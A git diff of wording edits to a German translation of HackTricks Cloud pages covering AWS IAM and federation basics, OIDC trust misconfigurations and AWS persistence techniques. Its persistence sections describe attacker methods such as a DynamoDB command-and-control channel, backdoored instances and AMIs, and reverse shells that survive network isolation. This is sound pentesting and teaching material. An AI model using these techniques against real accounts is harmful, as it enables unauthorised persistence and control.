@@ -151,7 +151,7 @@ Eine IAM-Rolle besteht aus **zwei Arten von Richtlinien**: einer **Vertrauensric
#### AWS Security Token Service (STS)
-AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von temporären, eingeschränkten Anmeldeinformationen** erleichtert. Er ist speziell auf Folgendes zugeschnitten:
+AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von temporären, eingeschränkten Anmeldeinformationen** erleichtert. Er ist speziell auf folgende Aspekte zugeschnitten:
### [Temporäre Anmeldeinformationen in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
@@ -164,10 +164,10 @@ AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von te
Werden verwendet, um Berechtigungen zuzuweisen. Es gibt 2 Arten:
- AWS verwaltete Richtlinien (vorkonfiguriert von AWS)
-- Kundenverwaltete Richtlinien: Von Ihnen konfiguriert. Sie können Richtlinien basierend auf AWS verwalteten Richtlinien erstellen (eine von ihnen ändern und Ihre eigene erstellen), den Richtlinien-Generator verwenden (eine GUI-Ansicht, die Ihnen hilft, Berechtigungen zu gewähren und zu verweigern) oder Ihre eigenen schreiben.
+- Kundenverwaltete Richtlinien: Von Ihnen konfiguriert. Sie können Richtlinien basierend auf AWS verwalteten Richtlinien erstellen (eine davon ändern und Ihre eigene erstellen), den Richtlinien-Generator verwenden (eine GUI-Ansicht, die Ihnen hilft, Berechtigungen zu gewähren und zu verweigern) oder Ihre eigenen schreiben.
Standardmäßig ist der Zugriff **verweigert**, der Zugriff wird gewährt, wenn eine explizite Rolle angegeben wurde.\
-Wenn **einzelne "Verweigerung" existiert, wird sie die "Erlauben" überschreiben**, mit Ausnahme von Anfragen, die die Root-Sicherheitsanmeldeinformationen des AWS-Kontos verwenden (die standardmäßig erlaubt sind).
+Wenn **einzelne "Deny" existiert, wird sie das "Allow" überschreiben**, mit Ausnahme von Anfragen, die die Root-Sicherheitsanmeldeinformationen des AWS-Kontos verwenden (die standardmäßig erlaubt sind).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -196,7 +196,7 @@ Die [spezifischen Felder, die für Bedingungen pro Dienst verwendet werden könn
#### Inline-Richtlinien
Diese Art von Richtlinien wird **direkt einem Benutzer, einer Gruppe oder einer Rolle zugewiesen**. Daher erscheinen sie nicht in der Richtlinienliste, da sie von niemand anderem verwendet werden können.\
-Inline-Richtlinien sind nützlich, wenn Sie eine **strikte Eins-zu-eins-Beziehung zwischen einer Richtlinie und der Identität, auf die sie angewendet wird, aufrechterhalten möchten**. Zum Beispiel möchten Sie sicherstellen, dass die Berechtigungen in einer Richtlinie nicht versehentlich einer anderen Identität zugewiesen werden, als der, für die sie bestimmt sind. Wenn Sie eine Inline-Richtlinie verwenden, können die Berechtigungen in der Richtlinie nicht versehentlich der falschen Identität zugeordnet werden. Darüber hinaus werden beim Löschen dieser Identität über die AWS Management Console auch die in der Identität eingebetteten Richtlinien gelöscht. Das liegt daran, dass sie Teil der Hauptentität sind.
+Inline-Richtlinien sind nützlich, wenn Sie eine **strikte Eins-zu-eins-Beziehung zwischen einer Richtlinie und der Identität** aufrechterhalten möchten, auf die sie angewendet wird. Zum Beispiel möchten Sie sicherstellen, dass die Berechtigungen in einer Richtlinie nicht versehentlich einer anderen Identität zugewiesen werden, als der, für die sie bestimmt sind. Wenn Sie eine Inline-Richtlinie verwenden, können die Berechtigungen in der Richtlinie nicht versehentlich der falschen Identität zugeordnet werden. Darüber hinaus werden beim Löschen dieser Identität über die AWS Management Console auch die in der Identität eingebetteten Richtlinien gelöscht. Das liegt daran, dass sie Teil der Hauptentität sind.
#### Ressourcen-Bucket-Richtlinien
@@ -206,11 +206,11 @@ Wenn eine Hauptentität keine ausdrückliche Ablehnung auf ihnen hat und eine Re
### IAM-Grenzen
-IAM-Grenzen können verwendet werden, um **die Berechtigungen, auf die ein Benutzer oder eine Rolle Zugriff haben sollte, einzuschränken**. Auf diese Weise wird die Operation **fehlschlagen**, selbst wenn ein anderer Satz von Berechtigungen dem Benutzer durch eine **andere Richtlinie** gewährt wird.
+IAM-Grenzen können verwendet werden, um **die Berechtigungen, auf die ein Benutzer oder eine Rolle Zugriff haben sollte, einzuschränken**. Auf diese Weise wird die Operation **fehlschlagen**, selbst wenn ein anderes Set von Berechtigungen dem Benutzer durch eine **andere Richtlinie** gewährt wird, wenn er versucht, sie zu verwenden.
Eine Grenze ist einfach eine Richtlinie, die einem Benutzer angehängt ist und **das maximale Niveau der Berechtigungen angibt, die der Benutzer oder die Rolle haben kann**. Selbst wenn der Benutzer Administratorzugriff hat, wenn die Grenze angibt, dass er nur S· Buckets lesen kann, ist das das Maximum, was er tun kann.
-**Dies**, **SCPs** und **das Prinzip der minimalen Berechtigung** sind die Möglichkeiten, um zu kontrollieren, dass Benutzer nicht mehr Berechtigungen haben, als sie benötigen.
+**Dies**, **SCPs** und **die Einhaltung des Prinzips der minimalen Berechtigung** sind die Möglichkeiten, um zu kontrollieren, dass Benutzer nicht mehr Berechtigungen haben, als sie benötigen.
### Sitzungsrichtlinien
@@ -224,48 +224,48 @@ aws sts assume-role \
[--policy-arns ]
[--policy ]
```
-Note that by default **AWS könnte Sitzungspolitiken zu Sitzungen hinzufügen**, die aufgrund dritter Gründe generiert werden. Zum Beispiel, in [unauthentifizierten Cognito-Annahmen](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) wird AWS standardmäßig (unter Verwendung verbesserter Authentifizierung) **Sitzungscodes mit einer Sitzungspolitik** generieren, die die Dienste einschränkt, auf die die Sitzung zugreifen kann [**auf die folgende Liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Beachten Sie, dass **AWS standardmäßig Sitzungsrichtlinien zu Sitzungen hinzufügen kann**, die aus anderen Gründen generiert werden. Zum Beispiel wird in [unauthentifizierten Cognito-angenommenen Rollen](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) standardmäßig (unter Verwendung verbesserter Authentifizierung) von AWS **Sitzungsanmeldeinformationen mit einer Sitzungsrichtlinie** generiert, die die Dienste einschränkt, auf die die Sitzung zugreifen kann [**auf die folgende Liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
-Daher, wenn Sie irgendwann den Fehler "... weil keine Sitzungspolitik dies erlaubt ..." erhalten und die Rolle Zugriff auf die Aktion hat, liegt es daran, dass **eine Sitzungspolitik dies verhindert**.
+Wenn Sie also irgendwann den Fehler "... weil keine Sitzungsrichtlinie den ... erlaubt" erhalten und die Rolle Zugriff auf die Aktion hat, liegt es daran, dass **eine Sitzungsrichtlinie dies verhindert**.
### Identitätsföderation
-Die Identitätsföderation **ermöglicht Benutzern von Identitätsanbietern, die extern** zu AWS sind, sicher auf AWS-Ressourcen zuzugreifen, ohne AWS-Benutzerdaten von einem gültigen IAM-Benutzerkonto angeben zu müssen.\
+Die Identitätsföderation **ermöglicht Benutzern von Identitätsanbietern, die extern** zu AWS sind, den sicheren Zugriff auf AWS-Ressourcen, ohne AWS-Benutzerdaten von einem gültigen IAM-Benutzerkonto angeben zu müssen.\
Ein Beispiel für einen Identitätsanbieter kann Ihr eigenes Unternehmens-**Microsoft Active Directory** (über **SAML**) oder **OpenID**-Dienste (wie **Google**) sein. Der föderierte Zugriff ermöglicht es dann den Benutzern innerhalb davon, auf AWS zuzugreifen.
-Um dieses Vertrauen zu konfigurieren, wird ein **IAM-Identitätsanbieter (SAML oder OAuth)** generiert, der die **andere Plattform** **vertraut**. Dann wird mindestens eine **IAM-Rolle (vertrauend) dem Identitätsanbieter zugewiesen**. Wenn ein Benutzer von der vertrauenswürdigen Plattform auf AWS zugreift, wird er als die genannte Rolle zugreifen.
+Um dieses Vertrauen zu konfigurieren, wird ein **IAM-Identitätsanbieter (SAML oder OAuth)** generiert, der die **andere Plattform** **vertraut**. Dann wird mindestens eine **IAM-Rolle (vertrauend) dem Identitätsanbieter zugewiesen**. Wenn ein Benutzer von der vertrauenswürdigen Plattform auf AWS zugreift, greift er als die genannte Rolle zu.
-Allerdings möchten Sie normalerweise **eine andere Rolle je nach Gruppe des Benutzers** auf der Drittanbieterplattform vergeben. Dann können mehrere **IAM-Rollen dem Drittanbieter-Identitätsanbieter vertrauen**, und die Drittanbieterplattform wird diejenige sein, die es Benutzern ermöglicht, eine Rolle oder die andere zu übernehmen.
+Sie möchten jedoch normalerweise eine **andere Rolle je nach Gruppe des Benutzers** auf der Drittanbieterplattform vergeben. Dann können mehrere **IAM-Rollen** dem Drittanbieter-Identitätsanbieter vertrauen, und die Drittanbieterplattform wird diejenige sein, die es Benutzern ermöglicht, eine Rolle oder die andere zu übernehmen.
-### IAM-Identitätszentrum
+### IAM Identity Center
-AWS IAM-Identitätszentrum (Nachfolger von AWS Single Sign-On) erweitert die Möglichkeiten von AWS Identity and Access Management (IAM), um einen **zentralen Ort** bereitzustellen, der die **Verwaltung von Benutzern und deren Zugriff auf AWS**-Konten und Cloud-Anwendungen zusammenführt.
+AWS IAM Identity Center (Nachfolger von AWS Single Sign-On) erweitert die Möglichkeiten von AWS Identity and Access Management (IAM), um einen **zentralen Ort** bereitzustellen, der die **Verwaltung von Benutzern und deren Zugriff auf AWS**-Konten und Cloud-Anwendungen zusammenführt.
Die Anmeldedomäne wird etwas sein wie `.awsapps.com`.
-Um Benutzer anzumelden, gibt es 3 Identitätsquellen, die verwendet werden können:
+Um Benutzer anzumelden, können 3 Identitätsquellen verwendet werden:
-- Identitätszentrum-Verzeichnis: Reguläre AWS-Benutzer
+- Identity Center-Verzeichnis: Reguläre AWS-Benutzer
- Active Directory: Unterstützt verschiedene Connectoren
- Externer Identitätsanbieter: Alle Benutzer und Gruppen stammen von einem externen Identitätsanbieter (IdP)
-Im einfachsten Fall des Identitätszentrum-Verzeichnisses wird das **Identitätszentrum eine Liste von Benutzern & Gruppen haben** und in der Lage sein, **Richtlinien** für sie zu **irgendeinem der Konten** der Organisation zuzuweisen.
+Im einfachsten Fall des Identity Center-Verzeichnisses wird das **Identity Center eine Liste von Benutzern und Gruppen haben** und in der Lage sein, **Richtlinien** für sie zu **irgendeinem der Konten** der Organisation zuzuweisen.
-Um einem Benutzer/einer Gruppe im Identitätszentrum Zugriff auf ein Konto zu gewähren, wird ein **SAML-Identitätsanbieter, der dem Identitätszentrum vertraut, erstellt**, und eine **Rolle, die dem Identitätsanbieter mit den angegebenen Richtlinien vertraut, wird im Zielkonto erstellt**.
+Um einem Benutzer/einer Gruppe im Identity Center Zugriff auf ein Konto zu gewähren, wird ein **SAML-Identitätsanbieter, der dem Identity Center vertraut, erstellt**, und eine **Rolle, die dem Identitätsanbieter mit den angegebenen Richtlinien vertraut, wird im Zielkonto erstellt**.
#### AwsSSOInlinePolicy
-Es ist möglich, **Berechtigungen über Inline-Richtlinien für Rollen, die über das IAM-Identitätszentrum erstellt wurden, zu gewähren**. Die in den Konten erstellten Rollen, die **Inline-Richtlinien im AWS-Identitätszentrum** erhalten, haben diese Berechtigungen in einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`**.
+Es ist möglich, **Berechtigungen über Inline-Richtlinien für Rollen zu vergeben, die über IAM Identity Center erstellt wurden**. Die in den Konten erstellten Rollen, die **Inline-Richtlinien im AWS Identity Center** erhalten, haben diese Berechtigungen in einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`**.
-Daher bedeutet es nicht, dass, selbst wenn Sie 2 Rollen mit einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`** sehen, dass sie **die gleichen Berechtigungen haben**.
+Daher bedeutet es nicht, dass, selbst wenn Sie 2 Rollen mit einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`** sehen, sie **die gleichen Berechtigungen haben**.
-### Cross-Account-Vertrauen und Rollen
+### Cross Account Trusts und Rollen
-**Ein Benutzer** (vertrauend) kann eine Cross-Account-Rolle mit einigen Richtlinien erstellen und dann **einem anderen Benutzer** (vertrauenswürdig) erlauben, **auf sein Konto zuzugreifen**, jedoch nur **mit dem Zugriff, der in den neuen Rollrichtlinien angegeben ist**. Um dies zu erstellen, erstellen Sie einfach eine neue Rolle und wählen Sie Cross-Account-Rolle. Rollen für den Cross-Account-Zugriff bieten zwei Optionen. Bereitstellung des Zugriffs zwischen AWS-Konten, die Sie besitzen, und Bereitstellung des Zugriffs zwischen einem Konto, das Sie besitzen, und einem Drittanbieter-AWS-Konto.\
+**Ein Benutzer** (vertrauend) kann eine Cross-Account-Rolle mit einigen Richtlinien erstellen und dann **einem anderen Benutzer** (vertrauenswürdig) den **Zugriff auf sein Konto** gewähren, jedoch nur **mit dem Zugriff, der in den neuen Rollrichtlinien angegeben ist**. Um dies zu erstellen, erstellen Sie einfach eine neue Rolle und wählen Sie Cross-Account-Rolle aus. Rollen für den Cross-Account-Zugriff bieten zwei Optionen. Bereitstellung des Zugriffs zwischen AWS-Konten, die Sie besitzen, und Bereitstellung des Zugriffs zwischen einem Konto, das Sie besitzen, und einem Drittanbieter-AWS-Konto.\
Es wird empfohlen, **den Benutzer, der vertraut ist, anzugeben und nichts Allgemeines zu verwenden**, da sonst andere authentifizierte Benutzer wie föderierte Benutzer dieses Vertrauen ebenfalls missbrauchen können.
### AWS Simple AD
@@ -280,24 +280,24 @@ Nicht unterstützt:
- Schemaerweiterungen
- Kein direkter Zugriff auf OS oder Instanzen
-#### Webföderation oder OpenID-Authentifizierung
+#### Web-Föderation oder OpenID-Authentifizierung
Die App verwendet die AssumeRoleWithWebIdentity, um temporäre Anmeldeinformationen zu erstellen. Dies gewährt jedoch keinen Zugriff auf die AWS-Konsole, sondern nur auf Ressourcen innerhalb von AWS.
### Weitere IAM-Optionen
-- Sie können **eine Passwortrichtlinieneinstellung** mit Optionen wie Mindestlänge und Passwortanforderungen festlegen.
-- Sie können **einen "Credential Report" herunterladen**, der Informationen über aktuelle Anmeldeinformationen (wie Benutzererstellungszeit, ob das Passwort aktiviert ist...) enthält. Sie können einen Anmeldebericht so oft wie einmal alle **vier Stunden** generieren.
+- Sie können **eine Passwortrichtlinieneinstellung** wie Mindestlänge und Passwortanforderungen festlegen.
+- Sie können **einen "Credential Report"** mit Informationen über aktuelle Anmeldeinformationen (wie Benutzererstellungszeit, ob das Passwort aktiviert ist...) herunterladen. Sie können einen Berechtigungsbericht so oft wie einmal alle **vier Stunden** generieren.
-AWS Identity and Access Management (IAM) bietet **fein abgestufte Zugriffskontrolle** über alle von AWS. Mit IAM können Sie **festlegen, wer auf welche Dienste und Ressourcen zugreifen kann** und unter welchen Bedingungen. Mit IAM-Richtlinien verwalten Sie Berechtigungen für Ihre Mitarbeiter und Systeme, um **die Berechtigungen mit dem geringsten Privileg** sicherzustellen.
+AWS Identity and Access Management (IAM) bietet **fein abgestufte Zugriffskontrolle** über alle AWS-Dienste. Mit IAM können Sie festlegen, **wer auf welche Dienste und Ressourcen zugreifen kann** und unter welchen Bedingungen. Mit IAM-Richtlinien verwalten Sie Berechtigungen für Ihre Mitarbeiter und Systeme, um **die Berechtigungen mit minimalen Rechten** sicherzustellen.
### IAM-ID-Präfixe
-In [**dieser Seite**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) finden Sie die **IAM-ID-Präfixe** von Schlüsseln, abhängig von ihrer Natur:
+Auf [**dieser Seite**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) finden Sie die **IAM-ID-Präfixe** von Schlüsseln, abhängig von ihrer Natur:
-| ABIA | [AWS STS-Dienst-Träger-Token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| ABIA | [AWS STS-Dienstträger-Token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Kontextbezogene Anmeldeinformationen |
+| ACCA | Kontextabhängige Anmeldeinformationen |
| AGPA | Benutzergruppe |
| AIDA | IAM-Benutzer |
| AIPA | Amazon EC2-Instanzprofil |
@@ -339,9 +339,9 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
-Wenn Sie auf **verschiedene AWS-Konten** zugreifen müssen und Ihr Profil Zugriff auf **eine Rolle in diesen Konten** erhalten hat, müssen Sie nicht jedes Mal manuell STS aufrufen (`aws sts assume-role --role-arn --role-session-name sessname`) und die Anmeldeinformationen konfigurieren.
+Wenn Sie auf **verschiedene AWS-Konten** zugreifen müssen und Ihr Profil Zugriff auf **die Annahme einer Rolle in diesen Konten** erhalten hat, müssen Sie nicht jedes Mal manuell STS aufrufen (`aws sts assume-role --role-arn --role-session-name sessname`) und die Anmeldeinformationen konfigurieren.
-Sie können die Datei `~/.aws/config` verwenden, um [**anzugeben, welche Rollen übernommen werden sollen**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), und dann den Parameter `--profile` wie gewohnt verwenden (die `assume-role` wird für den Benutzer transparent durchgeführt).\
+Sie können die Datei `~/.aws/config` verwenden, um [**anzugeben, welche Rollen angenommen werden sollen**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), und dann den Parameter `--profile` wie gewohnt verwenden (die `assume-role` wird für den Benutzer transparent durchgeführt).\
Ein Beispiel für eine Konfigurationsdatei:
```
[profile acc2]
@@ -351,7 +351,7 @@ role_session_name =
source_profile =
sts_regional_endpoints = regional
```
-Mit dieser Konfigurationsdatei können Sie dann aws cli verwenden wie:
+Mit dieser Konfigurationsdatei können Sie aws cli wie folgt verwenden:
```
aws --profile acc2 ...
```
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index e977845f1..a2604dcad 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -10,9 +10,9 @@ Für Informationen über SAML siehe bitte:
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-Um eine **Identitätsföderation über SAML** zu konfigurieren, müssen Sie nur einen **Namen** und die **Metadaten-XML** bereitstellen, die alle SAML-Konfigurationen (**Endpunkte**, **Zertifikat** mit öffentlichem Schlüssel) enthält.
+Um eine **Identitätsföderation über SAML** zu konfigurieren, müssen Sie lediglich einen **Namen** und die **Metadaten-XML** bereitstellen, die alle SAML-Konfigurationen (**Endpunkte**, **Zertifikat** mit öffentlichem Schlüssel) enthält.
-## OIDC - Github Actions Abuse
+## OIDC - Missbrauch von Github Actions
Um eine Github-Aktion als Identitätsanbieter hinzuzufügen:
@@ -45,8 +45,8 @@ Um eine Github-Aktion als Identitätsanbieter hinzuzufügen:
}
```
6. Beachten Sie in der vorherigen Richtlinie, wie nur ein **Branch** aus dem **Repository** einer **Organisation** mit einem bestimmten **Trigger** autorisiert wurde.
-7. Der **ARN** der **Rolle**, die die Github-Aktion **nachahmen** kann, wird das "Geheimnis" sein, das die Github-Aktion wissen muss, also **speichern** Sie es in einem **Geheimnis** innerhalb einer **Umgebung**.
-8. Verwenden Sie schließlich eine Github-Aktion, um die AWS-Credentials zu konfigurieren, die im Workflow verwendet werden sollen:
+7. Die **ARN** der **Rolle**, die die Github-Aktion **nachahmen** kann, wird das "Geheimnis" sein, das die Github-Aktion kennen muss, also **speichern** Sie es in einem **Geheimnis** innerhalb einer **Umgebung**.
+8. Verwenden Sie schließlich eine Github-Aktion, um die AWS-Anmeldeinformationen zu konfigurieren, die im Workflow verwendet werden sollen:
```yaml
name: "test AWS Access"
@@ -108,13 +108,13 @@ Es ist möglich, **OIDC-Anbieter** in einem **EKS**-Cluster zu generieren, indem
]
}
```
-Diese Richtlinie zeigt korrekt an, dass **nur** der **EKS-Cluster** mit der **ID** `20C159CDF6F2349B68846BEC03BE031B` die Rolle übernehmen kann. Es wird jedoch nicht angegeben, welches Dienstkonto dies übernehmen kann, was bedeutet, dass **JEDES Dienstkonto mit einem Web-Identitätstoken** die Rolle **übernehmen kann**.
+Diese Richtlinie gibt korrekt an, dass **nur** der **EKS-Cluster** mit der **ID** `20C159CDF6F2349B68846BEC03BE031B` die Rolle übernehmen kann. Es wird jedoch nicht angegeben, welches Dienstkonto dies übernehmen kann, was bedeutet, dass **JEDES Dienstkonto mit einem Web-Identitätstoken** in der Lage sein wird, die Rolle zu **übernehmen**.
-Um anzugeben, **welches Dienstkonto die Rolle übernehmen können sollte,** ist es erforderlich, eine **Bedingung** anzugeben, in der der **Name des Dienstkontos angegeben ist**, wie zum Beispiel:
+Um anzugeben, **welches Dienstkonto die Rolle übernehmen sollte,** ist es erforderlich, eine **Bedingung** anzugeben, in der der **Dienstkontoname angegeben ist**, wie zum Beispiel:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
-## References
+## Referenzen
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 90a3f4aaa..ed72d68bf 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-Dies sind die Berechtigungen, die Sie für jedes AWS-Konto benötigen, das Sie überprüfen möchten, um alle vorgeschlagenen AWS-Audit-Tools ausführen zu können:
+Dies sind die Berechtigungen, die Sie für jedes AWS-Konto benötigen, das Sie auditieren möchten, um alle vorgeschlagenen AWS-Audit-Tools ausführen zu können:
- Die Standardrichtlinie **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- Um [aws_iam_review](https://github.com/carlospolop/aws_iam_review) auszuführen, benötigen Sie außerdem die Berechtigungen:
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index 9ddf84993..1040d7480 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -21,7 +21,7 @@ Oder entfernen Sie einfach die Verwendung des Authorizers.
### IAM-Berechtigungen
-Wenn eine Ressource IAM-Authorizer verwendet, könnten Sie sich Zugriff gewähren, indem Sie die IAM-Berechtigungen ändern.\
+Wenn eine Ressource IAM-Authorizer verwendet, könnten Sie sich selbst Zugriff gewähren, indem Sie die IAM-Berechtigungen ändern.\
Oder entfernen Sie einfach die Verwendung des Authorizers.
### API-Schlüssel
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index a1a3f5f07..340d10d12 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -38,7 +38,7 @@ Um die Persistenz aufrechtzuerhalten, kann der Angreifer Elemente in der DynamoD
### DynamoDB als C2-Kanal
-Ein Angreifer kann eine DynamoDB-Tabelle als **Befehls- und Kontrollkanal (C2)** verwenden, indem er Elemente erstellt, die Befehle enthalten, und kompromittierte Instanzen oder Lambda-Funktionen nutzt, um diese Befehle abzurufen und auszuführen.
+Ein Angreifer kann eine DynamoDB-Tabelle als **Command and Control (C2) Kanal** verwenden, indem er Elemente erstellt, die Befehle enthalten, und kompromittierte Instanzen oder Lambda-Funktionen nutzt, um diese Befehle abzurufen und auszuführen.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index 9e2fb8cd3..6e63025bf 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -1,4 +1,4 @@
-# AWS - EC2 Persistence
+# AWS - EC2 Persistenz
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,11 +10,11 @@ Für weitere Informationen siehe:
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
-### Sicherheit Gruppenverbindungsverfolgung Persistenz
+### Persistenz durch Verbindungsverfolgung der Sicherheitsgruppe
-Wenn ein Verteidiger feststellt, dass eine **EC2-Instanz kompromittiert wurde**, wird er wahrscheinlich versuchen, das **Netzwerk** der Maschine zu **isolieren**. Er könnte dies mit einem expliziten **Deny NACL** tun (aber NACLs betreffen das gesamte Subnetz) oder **die Sicherheitsgruppe ändern**, um **keinen eingehenden oder ausgehenden** Verkehr zuzulassen.
+Wenn ein Verteidiger feststellt, dass eine **EC2-Instanz kompromittiert wurde**, wird er wahrscheinlich versuchen, das **Netzwerk** der Maschine zu **isolieren**. Er könnte dies mit einem expliziten **Deny NACL** tun (aber NACLs betreffen das gesamte Subnetz) oder **die Sicherheitsgruppe ändern**, um **jeglichen eingehenden oder ausgehenden** Verkehr zu verhindern.
-Wenn der Angreifer eine **Reverse Shell von der Maschine** hatte, wird die **Verbindung nicht beendet**, selbst wenn die SG geändert wird, um keinen eingehenden oder ausgehenden Verkehr zuzulassen, aufgrund von [**Sicherheitsgruppenverbindungsverfolgung**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+Wenn der Angreifer eine **Reverse Shell von der Maschine** hatte, wird die **Verbindung nicht beendet**, selbst wenn die SG geändert wird, um keinen eingehenden oder ausgehenden Verkehr zuzulassen, aufgrund von [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Lifecycle Manager
@@ -23,25 +23,25 @@ Ein Angreifer könnte die **Generierung von AMIs oder Snapshots** aller Images o
### Geplante Instanzen
-Es ist möglich, Instanzen täglich, wöchentlich oder sogar monatlich zu planen. Ein Angreifer könnte eine Maschine mit hohen Rechten oder interessantem Zugriff betreiben, auf die er zugreifen könnte.
+Es ist möglich, Instanzen täglich, wöchentlich oder sogar monatlich zu planen. Ein Angreifer könnte eine Maschine mit hohen Berechtigungen oder interessantem Zugriff betreiben, auf die er zugreifen könnte.
### Spot Fleet Anfrage
-Spot-Instanzen sind **günstiger** als reguläre Instanzen. Ein Angreifer könnte eine **kleine Spot-Fleet-Anfrage für 5 Jahre** (zum Beispiel) mit **automatischer IP**-Zuweisung und **Benutzerdaten**, die an den Angreifer **sendet, wenn die Spot-Instanz startet** und die **IP-Adresse** mit einer **hochprivilegierten IAM-Rolle**.
+Spot-Instanzen sind **günstiger** als reguläre Instanzen. Ein Angreifer könnte eine **kleine Spot Fleet Anfrage für 5 Jahre** (zum Beispiel) starten, mit **automatischer IP**-Zuweisung und **Benutzerdaten**, die an den Angreifer **sendet, wenn die Spot-Instanz startet** und die **IP-Adresse** sowie mit einer **hochprivilegierten IAM-Rolle**.
-### Hintertür-Instanzen
+### Backdoor-Instanzen
-Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit Hintertüren versehen:
+Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit einer Hintertür versehen:
- Verwendung eines traditionellen **Rootkits** zum Beispiel
-- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels** (siehe [EC2 Privilegieneskalationsoptionen](../aws-privilege-escalation/aws-ec2-privesc.md))
+- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels** (siehe [EC2 privesc Optionen](../aws-privilege-escalation/aws-ec2-privesc.md))
- Hintertür in den **Benutzerdaten**
-### **Hintertür Startkonfiguration**
+### **Hintertür-Startkonfiguration**
-- Hintertür das verwendete AMI
-- Hintertür die Benutzerdaten
-- Hintertür das Schlüsselpaar
+- Hintertür in das verwendete AMI
+- Hintertür in die Benutzerdaten
+- Hintertür im Schlüsselpaar
### VPN
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index d5ea3b2e8..29a84eb23 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -1,4 +1,4 @@
-# AWS - ECR Persistence
+# AWS - ECR Persistenz
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
### Verstecktes Docker-Image mit bösartigem Code
-Ein Angreifer könnte **ein Docker-Image mit bösartigem Code** in ein ECR-Repository hochladen und es verwenden, um Persistenz im Ziel-AWS-Konto aufrechtzuerhalten. Der Angreifer könnte dann das bösartige Image auf verschiedene Dienste innerhalb des Kontos, wie Amazon ECS oder EKS, auf heimliche Weise bereitstellen.
+Ein Angreifer könnte **ein Docker-Image mit bösartigem Code** in ein ECR-Repository hochladen und es verwenden, um Persistenz im Ziel-AWS-Konto aufrechtzuerhalten. Der Angreifer könnte dann das bösartige Image auf verschiedene Dienste innerhalb des Kontos, wie Amazon ECS oder EKS, auf stealthy Weise bereitstellen.
